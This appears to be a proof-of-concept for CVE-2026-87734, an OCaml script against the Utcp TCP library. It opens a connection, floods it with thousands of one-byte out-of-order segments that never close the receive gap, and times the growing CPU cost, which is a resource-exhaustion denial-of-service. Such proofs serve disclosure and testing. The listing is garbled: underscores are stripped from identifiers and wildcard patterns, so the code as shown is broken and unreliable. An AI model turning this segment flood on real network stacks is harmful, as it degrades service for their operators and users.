CVE-2026-87734

let () = Mirage crypto rng unix.use default ()

let server ip = Ipaddr.(V4 (V4.of string exn "10.0.0.1"))
let client ip = Ipaddr.(V4 (V4.of string exn "10.0.0.2"))
let now = Mtime.of uint64 ns 0L
let to wire seg = Utcp.Segment.encode and checksum now ~src:client ip ~dst:server ip seg

let seg ~seq ?ack ?flag ?(payload = []) ?(payload len = 0) () =
 { Utcp.Segment.src port = 12345; dst port = 80; seq; ack; flag;
  push = false; window = 65535; options = []; payload; payload len }

let feed st s = Utcp.handle buf st now ~src:client ip ~dst:server ip (to wire s)

(* establish a connection, then feed [n] out-of-order segments that never fill
  the gap at rcv nxt; return the CPU time spent *)
let cost n =
 let st = Utcp.start listen (Utcp.empty Fun.id "victim") 80 in
 let iss = Utcp.Sequence.of int32 1000l in
 let st, , outs = feed st (seg ~seq:iss ~flag:`Syn ()) in
 let server iss = (match outs with [ ( , , s) ] -> s.Utcp.Segment.seq |  -> assert false) in
 let st, ,  = feed st (seg ~seq:(Utcp.Sequence.incr iss) ~ack:(Utcp.Sequence.incr server iss) ()) in
 let rcv nxt = Utcp.Sequence.incr iss and ack = Utcp.Sequence.incr server iss in
 let st = ref st in
 let t0 = Sys.time () in
 for i = 0 to n - 1 do
  let s = seg ~seq:(Utcp.Sequence.addi rcv nxt ((2 * i) + 2)) ~ack ~payload:[ "X" ] ~payload len:1 () in
  let st', ,  = feed !st s in
  st := st'
 done;
 Sys.time () -. t0

let () =
 let t1 = cost 2000 and t2 = cost 4000 and t3 = cost 8000 in
 Printf.printf "2000 one-byte out-of-order segments: %.3fs
" t1;
 Printf.printf "4000 one-byte out-of-order segments: %.3fs (%.1fx)
" t2 (t2 /. t1);
 Printf.printf "8000 one-byte out-of-order segments: %.3fs (%.1fx)
" t3 (t3 /. t2)